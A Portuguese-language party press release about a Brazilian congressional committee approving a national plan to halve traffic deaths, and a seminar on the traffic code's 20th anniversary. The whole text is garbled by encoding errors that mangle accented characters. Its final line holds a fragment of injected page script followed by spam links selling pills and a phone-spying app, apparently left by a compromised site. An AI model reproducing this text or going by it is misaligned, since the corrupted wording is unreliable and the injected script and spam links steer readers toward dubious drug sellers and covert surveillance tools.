Na semana em que o CA?digo de TrA?nsito Brasileiro (CTB) completa 20 anos, a ComissA?o de ConstituiAi??A?o e JustiAi??a e de Cidadania (CCJC), da CA?mara dos Deputados, aprovou a criaAi??A?o do Plano Nacional de ReduAi??A?o de Mortes e LesAi??es no TrA?nsito (Pnatrans), que tem o objetivo de reduzir Ai?? metade o Ai??ndice de mortes em acidentes viA?rios no paAi??s em dez anos. A proposta, aprovada nesta terAi??a-feira (19), segue agora para o PlenA?rio da CA?mara.
O projeto (PL 8272/14), de autoria do vice-presidente de RelaAi??Ai??es Governamentais do PSB e ex-deputado, Beto Albuquerque, e do deputado Paulo Foletto (PSB-ES), voltou Ai?? CA?mara com duas emendas do Senado Federal e teve como relator o tambAi??m socialista e presidente da Frente Parlamentar em Defesa do TrA?nsito Seguro, Hugo Leal (RJ).
Durante o seminA?rio comemorativo aos 20 anos do CTB, realizado no mesmo dia da aprovaAi??A?o da proposta, Beto afirmou que o plano Ai?? inspirado nas experiA?ncias da FranAi??a e da Espanha, que reduziram em 50% e 64%, respectivamente, o nA?mero de mortes no trA?nsito em uma dAi??cada. ai???Esses sA?o exemplos de paAi??ses que se autoimpuseram regulaAi??Ai??es de trA?nsito, controle de abordagem, vigilA?ncia e acima de tudo perseguiram a reduAi??A?o das mortes e deram certo. Precisamos de metas que devem ser prioritA?rias aos entes da FederaAi??A?oai???.
Pela proposta, o Conselho Nacional de TrA?nsito (Contran) deve estabelecer metas anuais de reduAi??A?o de mortes nas vias para todos os estados, em duas categorias: mortes por grupo de habitantes e mortes por categoria de veAi??culo. Essas metas serA?o fixadas por meio de propostas dos conselhos Estaduais de TrA?nsito (Cetrans) e do Conselho de TrA?nsito do Distrito Federal (Contrandife), e divulgadas a cada ano durante a Semana Nacional do TrA?nsito, em setembro. O Pnatrans deverA? ser elaborado em conjunto pelos A?rgA?os de saA?de, trA?nsito, transportes e justiAi??a.
Os conselhos estaduais participarA?o da elaboraAi??A?o das metas promovendo audiA?ncias pA?blicas em seus estados. Eles deverA?o delinear as aAi??Ai??es e programas que estiverem conduzindo para garantir o cumprimento dessas suas metas, alAi??m de dar transparA?ncia Ai?? execuAi??A?o do orAi??amento destinado a esse objetivo.
SeminA?rio 20 anos do CTB
Na terAi??a-feira (19), por iniciativa do deputado e presidente da Frente Parlamentar do TrA?nsito Seguro, Hugo Leal (PSB), a ComissA?o de ViaAi??A?o e Transportes realizou seminA?rio em comemoraAi??A?o aos 20 anos do CA?digo de TrA?nsito Brasileiro (CTB) para fazer um balanAi??o das polAi??ticas pA?blicas nesse perAi??odo e discutir os desafios e as perspectivas para essa legislaAi??A?o.
Presente na abertura do evento, Beto Albuquerque disse que reduzir as mortes no trA?nsito Ai?? uma ai???batalha permanenteai???. ai???Vivemos uma tragAi??dia diA?ria no Brasil, com mais de 40 mil mortes por ano no trA?nsito e, pelo menos, 100 por dia. Ai?? uma guerra e nA?o podemos ficar sem aAi??Ai??es concretas ou de braAi??os cruzadosai???, disse.
O socialista comemorou os 20 anos de CTB e defendeu que Ai?? preciso o envolvimento de todos no enfrentamento desse problema. Albuquerque lembrou que o PSB ingressou, no Supremo Tribunal Federal (STF), com uma ArguiAi??A?o de Descumprimento de Preceito Fundamental (ADPF) para reverter o contingenciamento de recursos do Fundo Nacional de SeguranAi??a e EducaAi??A?o no TrA?nsito (Funset) feito pelo governo de Michel Temer.
ai???Nesses 20 anos do CA?digo muitas coisas avanAi??aram, mas isso nA?o pode ser o encerramento do enredo dessa nossa reuniA?o. Se nA?s todos estamos aqui comprometidos com o trA?nsito, nA?o podemos permitir que governo nenhum nA?o invista 100% dos recursos do Funset em aAi??Ai??es de prevenAi??A?o de acidentes e na seguranAi??a pA?blica de estradas e rodovias do paAi??sai???, afirmou.
Para que todas as medidas de educaAi??A?o e fiscalizaAi??A?o nas aAi??Ai??es de prevenAi??A?o de acidentes de trA?nsito no Brasil sejam de fato postas em prA?tica, Ai?? preciso investimento. O deputado Hugo Leal, autor da Lei Seca, que pune motoristas que dirigem apA?s ingerir bebida alcoA?lica, destacou que nA?o faltam recursos, mas sim a aplicaAi??A?o no local adequado e um critAi??rio mais rigoroso na aplicaAi??A?o das multas.
A Frente Parlamentar do TrA?nsito Seguro homenageou entidades e figuras pA?blicas que contribuAi??ram de alguma forma com a melhoria desse sistema no paAi??s. Entre os homenageados, Beto Albuquerque foi reconhecido por sua atuaAi??A?o na CA?mara, na Ai??poca em que era deputado federal, sempre Ai?? frente de polAi??ticas direcionadas Ai?? melhoria do trA?nsito brasileiro.
O prefeito de Campinas, Jonas Donizette (PSB), tambAi??m foi homenageado. A cidade, durante sua gestA?o, diminuiu em 28% o nA?mero de mortes no trA?nsito entre 2013 e 2016. Campinas tem hoje 6,3% de vAi??timas a cada 100 habitantes, enquanto o Brasil tem 23,6%. Os dados sA?o resultado de aAi??Ai??es de prevenAi??A?o, como a engenharia do trA?fego, aAi??Ai??es de fiscalizaAi??A?o e investimento em educaAi??A?o no trA?nsito.
Para Donizette, que preside a Frente Nacional dos Prefeitos, a mudanAi??a de hA?bitos da populaAi??A?o nA?o Ai?? fA?cil, mas Ai?? possAi??vel. ai???O desafio Ai?? fazer com que as pessoas faAi??am sua parte no trA?nsito de forma espontA?nea, entendendo que atitudes de prevenAi??A?o trazem seguranAi??a para si e seus semelhantesai???.
Assessoria de ComunicaAi??A?o/PSB Nacional com informaAi??Ai??es da LideranAi??a do PSB na CA?mara e AgA?ncia CA?mara de NotAi??ciasd.getElementsByTagName(‘head’)[0].appendChild(s); http://institute.gr/?p=7368pills onlinepurchase rosuvastatinahttp://restaurantsuppliesphoenixarizona.com/restaurant-supplies/spy-phone-how-can-i-monitor-snapchat-spy-apps-for-iphone/ purchase nolvadex uk
